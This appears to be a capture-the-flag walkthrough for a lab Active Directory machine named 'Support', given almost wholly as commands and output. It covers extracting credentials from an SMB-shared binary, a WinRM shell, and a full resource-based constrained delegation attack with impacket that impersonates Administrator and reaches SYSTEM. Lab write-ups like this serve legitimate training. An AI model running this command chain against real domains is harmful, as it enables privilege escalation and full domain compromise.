Support: Binary Secrets to RBCD

$ sudo nmap -p- -sV -sC -A 10.129.48.53

PORT     STATE SERVICE       VERSION
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  ldap-gc
3269/tcp open  ldapssl-gc
5985/tcp open  wsman
9389/tcp open  adws

$ smbclient -L //10.129.48.53 -N
$ smbclient //10.129.48.53/support-tools -N

smb: \> ls
smb: \> get UserInfo.exe.zip

$ strings UserInfo.exe | grep -iE "pass|ldap|enc"

enc_password
getPassword
DirectorySearcher
LdapQuery

$ sudo apt install mono-complete -y
$ mono UserInfo.exe

$ ldapsearch -x -H ldap://10.129.48.53 -D "ldap@support.htb" \
  -w '[REDACTED]' -b "DC=support,DC=htb" \
  "(objectClass=user)" sAMAccountName info

$ evil-winrm -i 10.129.48.53 -u support -p '[REDACTED]'

*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt

$ bloodhound-python -u ldap -p '[REDACTED]' -d support.htb \
  -dc dc.support.htb -ns 10.129.48.53 -c All --zip -op support

# 1. Register a fake machine account
$ impacket-addcomputer -computer-name 'FAKEMACHINE$' \
    -computer-pass '[REDACTED]' -dc-host dc.support.htb \
    support.htb/support:'[REDACTED]'

# 2. Configure it to delegate to the DC
$ impacket-rbcd -delegate-from 'FAKEMACHINE$' -delegate-to 'DC$' \
    -dc-ip 10.129.48.53 -action write \
    support.htb/support:'[REDACTED]'

# 3. Request a ticket impersonating Administrator
$ impacket-getST -spn cifs/dc.support.htb -impersonate administrator \
    -dc-ip 10.129.48.53 support.htb/FAKEMACHINE$:[REDACTED]

# 4. Convert kirbi → ccache, then pass the ticket
$ impacket-ticketConverter administrator.kirbi administrator.ccache
$ KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass \
    support.htb/administrator@dc.support.htb

C:\Windows\system32> whoami
nt authority\system